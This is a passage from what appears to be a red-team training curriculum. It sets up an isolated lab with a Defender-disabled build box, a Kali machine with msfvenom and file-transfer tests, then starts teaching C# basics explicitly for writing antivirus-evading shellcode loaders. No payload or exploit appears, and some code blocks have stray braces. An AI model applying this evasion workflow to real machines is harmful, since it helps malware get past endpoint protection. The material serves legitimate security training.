You should see IP 192.168.10.150 and subnet mask 255.255.255.0.

2.10.7 Step 7: Disable Windows Defender

The dev box compiles malware. If Defender is active here, it quarantines your compiled .exe files before you can transfer them to the target. Defender testing only happens on the target machine (kimjongun, 192.168.10.100), never on the dev box. This is realistic because in a real red team engagement, your development machine does not run the same security controls as the client's machines.

To disable Defender on the dev box:

1. Open **Windows Security** (click the shield icon in the taskbar or search for “Windows Security”)
2. Click **Virus & threat protection**
3. Under “Virus & threat protection settings”, click **Manage settings**
4. Turn OFF all of these:
 - **Real-time protection** - OFF
 - **Cloud-delivered protection** - OFF
 - **Automatic sample submission** - OFF
 - **Tamper protection** - OFF (turn this off first if the other toggles keep turning back on)

Windows will show a warning that your device is vulnerable. That is expected. This machine is for compiling, not for testing.

Important: Windows may turn Real-time protection back on after a restart. If that happens, disable it again. For a permanent solution, you can disable Defender through Group Policy:

1. Press **Win + R**, type `gpedit.msc`, press **Enter**
2. Navigate to: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus
3. Double-click “Turn off Microsoft Defender Antivirus”
4. Select **Enabled**, click **OK**
5. Restart the VM

After restarting, verify Defender is off by opening Windows Security. It should show “Threat service has stopped. Restart it now.” Do not restart it.

2.10.8 Step 8: Take a Snapshot

1. VM > Snapshot > Take Snapshot
2. Name: “Clean - Lab Ready”
3. Description: “Windows 11 Pro, VS2022 installed, .NET SDK working, Defender disabled, IP 192.168.10.150, username ammulu”
4. Click Take Snapshot

2.11 Setting Up the Kali Linux VM (Attacker Machine)

2.11.1 Step 1: Download Kali Linux

Go to kali.org/get-kali and download the latest Kali Linux installer ISO (64-bit). The file is approximately 3-4 GB.

2.11.2 Step 2: Create the Virtual Machine

In VMware:

1. Click “Create a New Virtual Machine”
2. Select “Custom (advanced)”
3. Select “Installer disc image file (iso)” and browse to the Kali ISO
4. VM name: **Kali-Attacker**
5. Processors: 2 processors, 1-2 cores each
6. Memory: **4096 MB (4 GB)**. Kali is lighter than Windows and 4 GB is enough.
7. Network: **Use host-only networking** (the same host-only network as the target and dev box, 192.168.10.0 subnet)
8. Disk: 40 GB, store as single file
9. Click Finish

2.11.3 Step 3: Install Kali Linux

Power on the VM:

1. Select “Graphical install” from the boot menu
2. Choose your language and region
3. Hostname: **kali**
4. Domain name: leave blank
5. Full name: **kali**
6. Username: **kali**
7. Set a password
8. Partitioning: “Guided - use entire disk”, select the 40 GB disk, “All files in one partition”, confirm and write changes
9. Software selection: keep the default desktop environment (Xfce) and default tools selected
10. Install GRUB bootloader to the primary drive
11. Complete installation and restart

2.11.4 Step 4: Set a Static IP Address

After booting into Kali and logging in, open a terminal.

First, find out what your network interface is called. A network interface is a connection point for networking. Each network adapter (real or virtual) gets its own interface name:

```
ip link show
```

Look for an interface that is NOT “lo” (lo stands for loopback, which is a special interface the computer uses to talk to itself). It will be something like `eth0`, `ens33`, or `ens160`. Note this name.

Now configure the static IP. Edit the network interfaces file:

```
sudo nano /etc/network/interfaces
```

Add these lines (replace `eth0` with your actual interface name if it is different):

```
auto eth0
iface eth0 inet static
    address 192.168.10.200
    netmask 255.255.255.0
```

Save the file (Ctrl+X, then Y, then Enter) and restart networking:

```
sudo systemctl restart networking
```

Verify the IP:

```
ip addr show eth0
```

You should see `inet 192.168.10.200/24` in the output.

If your Kali uses NetworkManager instead of `/etc/network/interfaces` (which is the case on newer Kali builds with a desktop environment), use this method instead:

```
sudo nmcli con mod "Wired connection 1" ipv4.addresses 192.168.10.200/24
sudo nmcli con mod "Wired connection 1" ipv4.method manual
sudo nmcli con up "Wired connection 1"
```

The connection name might be different. Run `nmcli con show` to see the exact name.

2.11.5 Step 5: Verify Required Tools

Kali comes with most of the tools you need pre-installed. Verify each one:

```
# msfvenom generates shellcode payloads
msfvenom --version

# python3 hosts files via HTTP server
python3 --version

# smbclient transfers files to/from Windows shares
smbclient --version
```

If any tool is missing:

```
sudo apt update
sudo apt install -y metasploit-framework python3 smbclient
```

2.11.6 Step 6: Take a Snapshot

Just like the Windows VMs, snapshot Kali in its clean state:

1. VM > Snapshot > Take Snapshot
2. Name: "Clean - Lab Ready"
3. Description: "Kali Linux, tools verified, IP 192.168.10.200"

2.12 Compilation and Execution

2.12.1 Testing Network Connectivity

All three machines need to reach each other. From Kali, ping both Windows machines:

```
ping -c 4 192.168.10.100
ping -c 4 192.168.10.150
```

You should see 4 replies from each. If you get “Destination Host Unreachable” or 100% packet loss:

1. Verify all three VMs are on the same host-only network (check VM Settings > Network Adapter on each VM)
2. Verify all static IPs are set correctly (`ip addr show` on Kali, `ipconfig` on both Windows machines)
3. On each Windows machine, check if the firewall is blocking ICMP (ping uses a protocol called ICMP). Open Windows Defender Firewall > Advanced Settings > Inbound Rules > find “File and Printer Sharing (Echo Request - ICMPv4-In)” > right-click > Enable Rule. This allows ping without disabling the firewall.

From the dev box (ammulu, 192.168.10.150), ping the target and Kali:

```
ping 192.168.10.100
ping 192.168.10.200
```

From the target (kimjongun, 192.168.10.100), ping the dev box and Kali:

```
ping 192.168.10.150
ping 192.168.10.200
```

All pings returning replies confirms full connectivity between all three machines.

2.12.2 Testing File Transfer Method 1: Python HTTP Server

This is the primary method you will use to transfer shellcode from Kali to the dev box, and to transfer compiled loaders from the dev box to the target.

On Kali, create a test file and start a web server:

```
echo "file transfer test from kali" > /tmp/transfer_test.txt
cd /tmp
python3 -m http.server 8080
```

The terminal shows `Serving HTTP on 0.0.0.0 port 8080`. The server is running and will serve any file in /tmp to anyone who connects on port 8080.

On the dev box (ammulu), open PowerShell and download the file:

```
Invoke-WebRequest -Uri "http://192.168.10.200:8080/transfer_test.txt" -OutFile
↵ "C:\Users\ammulu\Desktop\transfer_test.txt"
```

Then verify the file:

```
Get-Content "C:\Users\ammulu\Desktop\transfer_test.txt"
```

You should see “file transfer test from kali”. If this works, HTTP transfer from Kali to the dev box is ready.

Now test the same transfer to the target machine. On the target (kimjongun), open PowerShell:

```
Invoke-WebRequest -Uri "http://192.168.10.200:8080/transfer_test.txt" -OutFile  
↵ "C:\Users\kimjongun\Desktop\transfer_test.txt"  
Get-Content "C:\Users\kimjongun\Desktop\transfer_test.txt"
```

On Kali, stop the Python server with Ctrl+C.

You also need to transfer files from the dev box to the target. On the dev box (ammulu), start a Python HTTP server. First, install Python on the dev box by temporarily adding a NAT adapter (same as you did for Visual Studio), downloading Python from python.org, installing it with “Add to PATH” checked, then removing the NAT adapter. Then:

```
cd C:\Users\ammulu\Desktop  
python -m http.server 8080
```

On the target (kimjongun), download a test file:

```
Invoke-WebRequest -Uri "http://192.168.10.150:8080/transfer_test.txt" -OutFile  
↵ "C:\Users\kimjongun\Desktop\transfer_from_devbox.txt"
```

This transfer path (dev box to target) is the most important one in the curriculum. Your workflow will be: generate shellcode on Kali, transfer it to the dev box, compile the loader on the dev box, then transfer the compiled .exe and any encrypted shellcode files from the dev box to the target. The target only runs things, it never compiles.

2.12.3 Testing File Transfer Method 2: SMB Share

SMB is useful when you need bidirectional file transfer, especially when pulling files from Windows to Kali for analysis.

Set up an SMB share on the target machine (kimjongun, 192.168.10.100):

1. Create a folder: `C:\Share`
2. Right-click the folder > Properties > Sharing tab > Share
3. In the sharing dialog, type “Everyone” in the name field and click Add
4. Set the permission level to “Read/Write”
5. Click Share, then Done

On Kali, connect to the target’s share:

```
smbclient //192.168.10.100/Share -U kimjongun
```

Enter the Windows user’s password when prompted. You will see an `smb: \>` prompt. Test by uploading a file:

```
smb: \> put /tmp/transfer_test.txt
smb: \> ls
smb: \> exit
```

On the target, check `C:\Share` and you should see `transfer_test.txt`.

You can also set up an SMB share on the dev box (ammulu, 192.168.10.150) the same way if you want bidirectional SMB access between all three machines. Create `C:\Share` on the dev box and share it the same way.

2.12.4 Verifying the Build Toolchain

On the dev box (ammulu, 192.168.10.150), open Command Prompt and run:

```
mkdir C:\Users\ammulu\Desktop\TestProject
cd C:\Users\ammulu\Desktop\TestProject
dotnet new console -n BuildTest
cd BuildTest
dotnet run
```

You should see “Hello, World!” printed. This confirms the .NET SDK compiles and runs C# code correctly on the dev box.

Clean up:

```
cd C:\Users\ammulu\Desktop
rmdir /s /q TestProject
```

Do NOT run this on the target machine (kimjongun). The target machine does not have the .NET SDK and should not have it. The target only runs compiled .exe files.

2.13 Confirming Success

Your lab is fully set up when every item on this list is verified:

Target Machine (kimjongun, 192.168.10.100):

- ☐ Windows 11 Pro installed and fully updated
- ☐ Static IP set to 192.168.10.100
- ☐ Defender real-time protection: ON
- ☐ Defender cloud-delivered protection: ON
- ☐ Defender automatic sample submission: ON
- ☐ Defender tamper protection: ON
- ☐ Defender signature database is current (check for updates in Windows Security)
- ☐ No Visual Studio installed (this is the target, not the dev box)
- ☐ No .NET SDK installed
- ☐ Snapshot taken (“Clean - Lab Ready”)

Dev Box (ammulu, 192.168.10.150):

- ☐ Windows 11 Pro installed
- ☐ Static IP set to 192.168.10.150
- ☐ Defender DISABLED (real-time protection OFF, or disabled via Group Policy)
- ☐ Visual Studio 2022 Community installed with .NET desktop development workload
- ☐ `dotnet --version` returns 6.0 or later

- ☐ `dotnet new console` and `dotnet run` produces “Hello, World!”
- ☐ Python installed for hosting HTTP server
- ☐ Snapshot taken (“Clean - Lab Ready”)

Kali Linux VM (kali, 192.168.10.200):

- ☐ Kali Linux installed with default tools
- ☐ Static IP set to 192.168.10.200
- ☐ `msfvenom --version` works
- ☐ `python3 --version` works
- ☐ `smbclient --version` works
- ☐ Snapshot taken (“Clean - Lab Ready”)

Network and Transfers:

- ☐ Kali can ping target (192.168.10.100) and dev box (192.168.10.150)
- ☐ Target can ping dev box (192.168.10.150) and Kali (192.168.10.200)
- ☐ Dev box can ping target (192.168.10.100) and Kali (192.168.10.200)
- ☐ Python HTTP server file transfer works (Kali to dev box)
- ☐ Python HTTP server file transfer works (dev box to target)
- ☐ SMB file transfer works (Kali to target)

2.14 What Was Gained

You now have a complete, isolated lab that mirrors a real red team engagement setup:

- A Windows 11 dev box (ammulu, 192.168.10.150) with Visual Studio 2022 and the .NET SDK. This is where you compile all loaders. On a real engagement, this is your operator workstation where you build your tools before deploying them.
- A Windows 11 target (kimjongun, 192.168.10.100) with production Defender settings, exactly what you would encounter on a real client machine. The Defender configuration matches what most organizations run because they use the default settings. This machine only runs compiled binaries, just like a real target.
- A Kali attacker machine (kali, 192.168.10.200) with the tools needed to generate shellcode payloads (msfvenom), host files for transfer (python3 HTTP server), and interact with Windows file shares (smbclient).
- An isolated network where you can test aggressive techniques without affecting your real network or triggering alerts on systems outside the lab.
- Snapshots of all three VMs in their clean state so you can reset to a known-good configuration at any time.

The file transfer setup means you can move files between all three machines quickly. Throughout the curriculum, the workflow is: generate shellcode on Kali, transfer it to the dev box, compile the loader on the dev box, transfer the compiled .exe and any encrypted shellcode to the target, run the loader on the target, and observe whether Defender catches it. This three-machine workflow is realistic. On a real engagement, you never compile malware on the target machine. You build on your own machine and deliver only the final binary.

2.15 Common Threats and Variations

2.15.1 Variation 1: Using VirtualBox Instead of VMware

VirtualBox is free and works as a hypervisor, but it has weaker TPM emulation and less reliable host-only networking. If you use VirtualBox:

- Create a “Host-only Network” in VirtualBox (File > Host Network Manager)
- Set the network to 192.168.10.0/24 with no DHCP
- When creating VMs, attach a “Host-only Adapter” pointing to that network
- For Windows 11, you may need to modify the registry during installation to bypass TPM and Secure Boot requirements (search for “VirtualBox Windows 11 registry bypass” for current instructions)

Everything else in the curriculum works the same regardless of hypervisor.

2.15.2 Variation 2: Kali in WSL Instead of a Separate VM

Windows Subsystem for Linux (WSL) can run Kali on your host machine. WSL is a feature that lets you run Linux programs inside Windows. The advantage is lower resource usage (no separate VM). The disadvantages:

- WSL shares the host’s network, so it is not isolated. Your test traffic goes through your real network adapter.
- WSL has limited access to raw sockets and some network features that Metasploit needs.
- The separation between attacker and target is blurred because both run on the same machine.

For learning, a separate Kali VM is better because it forces you to work across machines, which is how real engagements work.

2.15.3 Variation 3: Using Physical Machines

If you have two physical computers and an isolated switch (no uplink to the internet), you can use physical hardware instead of VMs. The advantage is better performance. The disadvantages:

- No snapshots. If something goes wrong, you reinstall from scratch.
- You need a dedicated Windows 11 machine that you are willing to format and rebuild.
- Physical machines are harder to reset between tests.

For this curriculum, VMs are recommended because snapshots let you quickly restore a clean state between loader tests.

2.16 Detection and Defense (Blue Team Perspective)

This document covers lab setup, not attack techniques, so there are no attack-specific defenses to discuss. However, there are operational security practices that matter:

Keep your lab network isolated. Verify your VM network settings before every testing session. If a VM accidentally gets a bridged network adapter (which connects to your real network), your shellcode could make connections to real machines. Check VM Settings > Network Adapter before starting any testing.

Snapshot before testing. Take a snapshot before running each new loader. If a loader behaves unexpectedly (crashes the VM, corrupts system files, or triggers Defender in a way that changes its configuration), you can restore the snapshot and start over.

Update Defender before testing. Check for Defender signature database updates at the start of each testing session. The signatures change frequently, and you want your lab to reflect current detection capabilities. A loader that bypasses old signatures but gets caught by current ones gives you a false sense of security.

Monitor Defender's quarantine. Open Windows Security > Virus & threat protection > Protection history after each test. This shows what Defender caught, when it caught it, and which detection method was used (file scanning, behavior, cloud, etc.). This information tells you which Defender layer your loader failed to bypass, which directly tells you what you need to fix.

2.17 What Comes Next

Start Document 02 (lab/materials/02_c_sharp_basics.md). It teaches C# programming from zero using security-focused examples. Instead of writing programs that calculate interest rates or sort shopping lists, you will learn C# by writing programs that manipulate bytes, convert data between formats, and work with the operating system. By the end of Document 02, you will understand enough C# to read and write every loader in this curriculum.

Document 02: C# Basics for Evasion Development

3.1 Where We Are

You have a working lab from Document 01. Your dev box (ammulu, 192.168.10.150) has Visual Studio 2022 and the .NET SDK installed, with Defender disabled so compiled loaders are not quarantined. Your target machine (kimjongun, 192.168.10.100) has Defender running at full defaults. Your Kali VM (192.168.10.200) has msfvenom, python3, and smbclient. All three machines can ping each other on 192.168.10.0/24.

At this point you know:

- Why C# is the language for Windows evasion (Document 00)
- How Defender's 6 detection layers work (Document 00)
- Your lab is running with Defender at full default settings on the target (Document 01)
- You can compile and run C# with `dotnet run` on the dev box

You have zero C# programming experience. This document fixes that. By the end, you will understand every line of code in every loader this curriculum builds.

3.2 Why This Is Next

Documents 05 through 10 each build a working evasion loader in C#. Every loader reads data from a file, changes it, puts it into RAM (your computer's temporary working storage, more on this in a moment), and tells the computer to run it. If you do not understand how C# stores data, repeats actions, reads files, and organizes code into reusable pieces, you will be copying code without understanding it. When Defender catches your loader and you need to change the code to avoid detection, you will not know what to change or why.

You do not need to learn all of C#. You need a specific set of skills: storing and changing data, working with raw bytes, repeating operations, organizing code into functions, reading files, and accepting input from the command line. That is what this document teaches, and every single concept here appears in the loaders.

3.3 How This Works

C# is a programming language made by Microsoft. You write code in a text file ending with `.cs`, and the compiler turns it into a program you can run. The compiled program runs on the

.NET runtime, which is pre-installed on every Windows machine. This is one of the reasons C# is ideal for evasion: you do not need to install anything on the target machine to run your code.

When you compile C# code, the compiler produces something called MSIL (Microsoft Intermediate Language), not the raw machine instructions your CPU understands. The .NET runtime translates MSIL to machine instructions when you run the program. The important thing for evasion is that the compiled .exe file contains readable information about your code sitting directly on your hard drive. You can open the compiled .exe in Notepad right now and you will literally see the class name, the function names, and every piece of text you put in double quotes sitting there as readable text inside all the garbage characters. Defender opens that .exe file, reads the whole thing from start to end, and checks whether any of those names or strings match something in its database of known bad names. This is why naming things matters, and why later documents teach you to avoid putting sensitive words in your code.

3.4 What Defender Does

While you are learning C# basics, Defender does not directly interfere. But Defender will scan every .exe and .dll you compile. The things Defender looks for in compiled C# files include:

- Text strings embedded in the binary (like if you write `Console.WriteLine("Injecting shellcode")`, those words are stored in the file)
- Class and function names (a class called "ShellcodeInjector" is a red flag)
- The names of Windows functions your program imports (certain combinations of function names are suspicious)

None of this matters yet because the programs in this document are harmless learning exercises. But understanding that the compiler embeds your code's names and text into the output file explains decisions you will see in the loaders later.

3.5 The Evasion Technique

No evasion technique in this document. This is programming fundamentals. Evasion starts in Document 05.

3.6 Getting the Loader Onto the Target

No loader exists yet. This applies from Document 05 onward.

3.7 Teaching the Code

3.7.1 Setting Up Your Workspace

Open a Command Prompt on the dev box (ammulu, 192.168.10.150). All coding and compilation in this document happens on the dev box, not on the target machine:

```
mkdir C:\Users\ammulu\Desktop\CSharpLab
cd C:\Users\ammulu\Desktop\CSharpLab
dotnet new console -n Lesson
cd Lesson
```

This creates a folder with a file called Program.cs. You will edit this file for every example. Open it in Visual Studio or Notepad. Replace whatever is in there with the code from each section.

To run your code after editing:

```
dotnet run
```

3.7.2 Part 1: The Structure of a C# Program

Every C# program has the same basic skeleton. Replace the contents of Program.cs with this:

```
using System;
```

This first line tells C# that you want to use a collection of pre-built tools called `System`. One of those tools is `Console`, which lets you print text to the screen. Without this line, C# does not know what `Console` is.

```
class Program
{
```

In C#, all your code has to live inside something called a class. A class is a named section of code. You give it a name (here it is called `Program` but the name does not matter), and everything between the opening curly brace `{` and the closing curly brace `}` belongs to that section. Every C# program needs at least one class.

```
static void Main(string[] args)
{
```

This is the starting point of your program. When you run the compiled file, the computer looks for a function called `Main` and starts running the code inside it. Every C# program needs exactly one `Main` function. The `string[] args` part lets your program accept input from the command line, which you will use later.

```
    Console.WriteLine("Red team operator reporting in.");
```

This line prints text to the screen. Whatever you put between the double quotes shows up in the terminal when you run the program. `Console.WriteLine` prints the text and then moves to the next line.

```
    }
}
```

These closing braces end the `Main` function and the `Program` class.

Here is the complete program with all the pieces together:

```
using System;

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Red team operator reporting in.");
    }
}
```

```
}  
}
```

Run it with `dotnet run`. You should see: `Red team operator reporting in.`

That is your first C# program. Every program in this curriculum follows this same skeleton: `using System`; at the top, a class wrapping everything, and a `Main` function where execution begins.

3.7.3 Part 2: Variables - Storing Data

When your program runs, it needs to hold onto information. The port number your payload connects to, the IP address of your attacker machine, the name of a process you want to target. All of this needs to be stored somewhere while the program is running. In C#, you store information in variables.

A variable has two parts: a type (what kind of data it holds) and a name (how you refer to it). You create a variable and give it a value like this:

```
int port = 4444;  
string targetIP = "192.168.10.200";
```

`int` means this variable holds a whole number (no decimal point). `port` is the name you chose for it. `4444` is the value stored in it. `string` means this variable holds text. `targetIP` holds the text "192.168.10.200". The text has to be inside double quotes so C# knows it is text and not code.

You can print variables by combining them with text:

```
Console.WriteLine("Connecting to " + targetIP + " on port " + port);
```

The `+` sign joins pieces of text together. When you join a number with text, C# automatically converts the number to text for you. This line prints: `Connecting to 192.168.10.200 on port 4444`

Here are the variable types you will use in the loaders:

```
int processId = 1234;  
uint memorySize = 4096;  
byte singleByte = 0xFF;  
bool success = true;  
long bigNumber = 0x7FFE00000000;
```

`int` holds whole numbers. You use it for process IDs, port numbers, and return values from functions.

`uint` is the same but only holds positive numbers (no negatives). Windows functions use `uint` for things like sizes and permission flags.

`byte` holds a single byte, which is a number from 0 to 255. This is the building block of all raw data. Shellcode is just a sequence of bytes, so you will work with lots of bytes throughout this curriculum.

`bool` holds either `true` or `false`, nothing else. You use it to check if something worked or failed.

`long` holds very large numbers. You need it for 64-bit addresses on modern Windows.

The `0x` prefix means the number is written in hexadecimal (base 16) instead of decimal (base 10). Hexadecimal is used everywhere in Windows programming. The number `0xFF` is the same as 255 in decimal. The number `0x4A` is the same as 74. You do not need to memorize conversions because C# handles them, but you need to recognize that `0x` means hex.

Here is the complete program:

```
using System;

class Program
{
    static void Main(string[] args)
    {
        int port = 4444;
        string targetIP = "192.168.10.200";
        byte singleByte = 0xFF;
        bool success = true;

        Console.WriteLine("Connecting to " + targetIP + " on port " + port);
        Console.WriteLine("Byte value: " + singleByte);
        Console.WriteLine("Success: " + success);
    }
}
```

Output:

```
Connecting to 192.168.10.200 on port 4444
Byte value: 255
Success: True
```

Notice that when you print the byte `0xFF`, it shows as `255`. That is because C# converts it to decimal for display. Later you will learn to display it as hex when you need to.

3.7.4 Part 3: Making Decisions with If Statements

Your program needs to make decisions while it runs. Did the file load successfully? Did the request for RAM work? Is the user running the program with the right arguments? You handle all of this with `if` statements.

```
int result = 0;

if (result == 0)
{
    Console.WriteLine("[+] Operation succeeded.");
}
```

The `if` statement checks a condition. The condition is inside the parentheses: `result == 0`. The double equals `==` means “is equal to” (a single `=` means “assign a value”, which is different). If the condition is true, the code inside the curly braces runs. If the condition is false, the code is skipped entirely.

You can add an `else` block for what happens when the condition is false:

```
if (result == 0)
{
    Console.WriteLine("[+] Operation succeeded.");
}
else
{
    Console.WriteLine("[-] Operation failed.");
}
```

If `result` is 0, you see the success message. If `result` is anything other than 0, you see the failure message. Only one of the two blocks runs, never both.

In the loaders, you see this pattern after every Windows function call. Windows functions return a value that tells you whether they worked. Typically, 0 means success and anything else means failure. Or the function returns a RAM address, and if it returns 0 (a null address), it means it failed. The loader checks the return value and exits if something went wrong:

```
IntPtr memoryAddress = IntPtr.Zero;

if (memoryAddress == IntPtr.Zero)
{
    Console.WriteLine("[-] Memory allocation failed.");
    return;
}
```

`IntPtr` is a special type that holds a RAM address. `IntPtr.Zero` is the null address (address 0), which Windows returns when a function fails. The `return;` statement stops the program immediately. There is no point continuing if the RAM request failed because everything after it depends on having that RAM.

The `[+]` and `[-]` prefixes in the messages are a convention in security tools. `[+]` means something worked, `[-]` means something failed, `[*]` means general information. You will see this throughout the loaders.

Here is a complete example:

```
using System;

class Program
{
    static void Main(string[] args)
    {
        int status = 0;

        if (status == 0)
        {
            Console.WriteLine("[+] Status check passed.");
        }
        else
        {
            Console.WriteLine("[-] Status check failed with code: " + status);
            return;
        }
    }
}
```

```
    Console.WriteLine("[*] Continuing to next step...");

    bool fileLoaded = false;

    if (fileLoaded)
    {
        Console.WriteLine("[+] File is loaded.");
    }
    else
    {
        Console.WriteLine("[-] File not loaded.");
        return;
    }

    Console.WriteLine("[*] This line never runs because fileLoaded is false.");
}
```

Output:

```
[+] Status check passed.
[*] Continuing to next step...
[-] File not loaded.
```

The program stops after “File not loaded” because `return;` exits Main. The last line never runs. This is exactly how the loaders handle errors: check each step, stop if it fails, continue if it succeeds.

3.7.5 Part 4: Loops - Repeating Actions

Say you need to print the numbers 1 through 10. You could write 10 separate `Console.WriteLine` calls, one for each number. But that is tedious, and if you needed to print 1 through 10000, writing 10000 lines is not practical. A loop does the same action multiple times automatically.

You give it a starting point, a stopping condition, and a step size. It repeats the code inside it, adjusting the step each time, until the stopping condition is met.

```
for (int i = 1; i <= 10; i++)
{
    Console.WriteLine(i);
}
```

This prints:

```
1
2
3
4
5
6
7
8
9
10
```

Here is what the three parts inside the parentheses do:

`int i = 1` creates a counter variable called `i` starting at 1. This happens once, at the beginning. `i <= 10` is the condition. Before each repetition, C# checks: is `i` still less than or equal to 10? If yes, run the code inside the braces again. If no, stop.

`i++` adds 1 to `i` after each repetition. So `i` goes 1, 2, 3, 4, 5, 6, 7, 8, 9, 10. When `i` becomes 11, the condition `i <= 10` is false, and the loop stops.

Now here is why loops matter for evasion. Shellcode is a sequence of bytes. A typical shellcode payload is 400 to 600 bytes long. If you want to change every byte (for example, to encrypt it), you need to go through each byte one by one and apply an operation to it. A loop does this:

```
byte[] data = new byte[] { 10, 20, 30, 40, 50 };

for (int i = 0; i < data.Length; i++)
{
    Console.WriteLine("Byte " + i + " = " + data[i]);
}
```

This prints:

```
Byte 0 = 10
Byte 1 = 20
Byte 2 = 30
Byte 3 = 40
Byte 4 = 50
```

`data.Length` gives you the total number of items in the array (5 in this case). The counter starts at 0 because in C#, the first item in an array is at position 0, the second at position 1, and so on. The loop runs while `i < 5`, meaning it runs for `i = 0, 1, 2, 3, 4`. That covers all 5 positions.

When you encrypt shellcode, the loop goes through each byte, applies the encryption operation, and stores the result. When you search through a list of running processes, the loop checks each one. When you build a string character by character, the loop adds each character. Loops are in every single loader.

Here is the complete example:

```
using System;

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Counting 1 to 10:");
        for (int i = 1; i <= 10; i++)
        {
            Console.WriteLine(i);
        }

        Console.WriteLine();
        Console.WriteLine("Walking through a byte array:");
        byte[] data = new byte[] { 10, 20, 30, 40, 50 };

        for (int i = 0; i < data.Length; i++)
        {
            Console.WriteLine("Byte " + i + " = " + data[i]);
        }
    }
}
```

```
        Console.WriteLine("Position " + i + " = " + data[i]);
    }
}
```

3.7.6 Part 5: Arrays - Storing Multiple Values Together

A single variable holds one value. But shellcode is hundreds of bytes, a list of running processes has multiple entries, and a function name is a sequence of characters. You need a way to store many values of the same type together. That is what an array does.

```
byte[] shellcode = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };
```

`byte[]` means “an array of bytes”. The square brackets `[]` indicate it is an array, not a single value. `new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 }` creates the array with 5 bytes in it. Those hex values (0xFC, 0x48, etc.) are actual bytes from the beginning of a typical shellcode payload.

You access individual items by their position number (called an index), starting from 0:

```
byte first = shellcode[0];
byte second = shellcode[1];
byte last = shellcode[shellcode.Length - 1];
```

`shellcode[0]` is the first byte (0xFC). `shellcode[1]` is the second (0x48). `shellcode[shellcode.Length - 1]` is the last byte. Since the array has 5 items and indexing starts at 0, the last index is 4, which is `Length - 1`.

You can also create an empty array of a specific size and fill it later:

```
byte[] buffer = new byte[256];
```

This creates an array with 256 bytes, all set to 0. You would use this when you know how much space you need but do not have the data yet. In the loaders, you create result arrays for holding encrypted or decrypted data.

You can change individual values after creating the array:

```
buffer[0] = 0xCC;
buffer[1] = 0x90;
```

Now the first byte of `buffer` is 0xCC and the second is 0x90. The rest are still 0.

Combining arrays with loops is how you process shellcode:

```
byte[] data = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };

Console.Write("Hex dump: ");
for (int i = 0; i < data.Length; i++)
{
    Console.Write(data[i].ToString("X2") + " ");
}
```

```

    }
    Console.WriteLine();
}

```

Output: Hex dump: FC 48 83 E4 F0

`.ToString("X2")` converts a byte to its hexadecimal text representation with at least 2 digits. The byte value 252 in decimal becomes “FC” in hex. The byte 72 becomes “48”. `Console.Write` (without “Line”) prints text without moving to the next line, so all the bytes appear on the same line with spaces between them.

Here is the complete example:

```

using System;

class Program
{
    static void Main(string[] args)
    {
        byte[] data = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };

        Console.WriteLine("Array has " + data.Length + " bytes.");
        Console.WriteLine("First byte: 0x" + data[0].ToString("X2"));
        Console.WriteLine("Last byte: 0x" + data[data.Length - 1].ToString("X2"));

        Console.Write("All bytes: ");
        for (int i = 0; i < data.Length; i++)
        {
            Console.Write(data[i].ToString("X2") + " ");
        }
        Console.WriteLine();

        byte[] buffer = new byte[10];
        buffer[0] = 0xAA;
        buffer[1] = 0xBB;
        Console.WriteLine("Buffer[0]: 0x" + buffer[0].ToString("X2"));
        Console.WriteLine("Buffer[5]: 0x" + buffer[5].ToString("X2"));
    }
}

```

Output:

```

Array has 5 bytes.
First byte: 0xFC
Last byte: 0xF0
All bytes: FC 48 83 E4 F0
Buffer[0]: 0xAA
Buffer[5]: 0x00

```

Buffer[5] is 0x00 because empty arrays are filled with zeros by default.

3.7.7 Part 6: Functions - Reusable Blocks of Code

As your programs grow, you will have blocks of code that you need to run in multiple places. Instead of writing the same code twice, you put it in a function (C# calls them methods) and call it by name whenever you need it.

A function has a name, can accept input (called parameters), does some work, and can give back a result (called a return value).

Start with a simple function that takes no input and returns nothing:

```
static void PrintBanner()  
{  
    Console.WriteLine("=== Stealth Runner ===");  
    Console.WriteLine("Version 1.0");  
    Console.WriteLine();  
}
```

`static` means this function belongs to the class directly (just use this for now, all our functions are static). `void` means this function does not give back a result. `PrintBanner` is the name you chose. The empty parentheses `()` mean it takes no input. You call it from `Main` like this:

```
static void Main(string[] args)  
{  
    PrintBanner();  
    Console.WriteLine("Starting operations...");  
}
```

When the program reaches `PrintBanner()`, it jumps to the `PrintBanner` function, runs the code inside it, then comes back to `Main` and continues with the next line.

Now a function that takes input:

```
static void PrintStatus(string message, bool success)  
{  
    if (success)  
    {  
        Console.WriteLine("[+] " + message);  
    }  
    else  
    {  
        Console.WriteLine("[-] " + message);  
    }  
}
```

`string message` and `bool success` are parameters. When you call the function, you provide values for them:

```
PrintStatus("Memory allocated.", true);  
PrintStatus("Thread creation failed.", false);
```

Output:

```
[+] Memory allocated.  
[-] Thread creation failed.
```

Now a function that returns a result. This is the pattern you will see in every loader for data processing:

```
static int AddNumbers(int a, int b)
{
    int result = a + b;
    return result;
}
```

`int` before the function name (instead of `void`) means this function gives back an integer when it is done. The `return` statement sends the value back to whoever called the function:

```
int total = AddNumbers(100, 50);
Console.WriteLine("Total: " + total);
```

Output: Total: 150

The function does the work and gives you the answer. You store the answer in a variable and use it.

Here is a real example from the loaders. This function converts a hex string like “4A7F” into a byte array {0x4A, 0x7F}. Every loader that accepts a key from the command line uses this exact function:

```
static byte[] HexToBytes(string hex)
{
```

The function is called `HexToBytes`. It takes a string as input and returns a byte array.

```
byte[] bytes = new byte[hex.Length / 2];
```

A hex string uses 2 characters per byte (“4A” is one byte, “7F” is one byte). So if the input string is 8 characters long, that is 4 bytes. We create an empty byte array of that size.

```
for (int i = 0; i < bytes.Length; i++)
{
    bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
}
```

The loop goes through each byte position. `hex.Substring(i * 2, 2)` extracts 2 characters from the string. When `i` is 0, it grabs characters at positions 0 and 1. When `i` is 1, it grabs positions 2 and 3. And so on. `Convert.ToByte(..., 16)` converts those 2 hex characters into a byte value. The `16` tells C# the characters are in base 16 (hexadecimal).

```
return bytes;
}
```

Return the completed byte array to whoever called the function.

Here is the complete program with all the function examples:

```
using System;

class Program
{
    static void PrintBanner()
    {
        Console.WriteLine("=== Function Demo ===");
        Console.WriteLine();
    }

    static void PrintStatus(string message, bool success)
    {
        if (success)
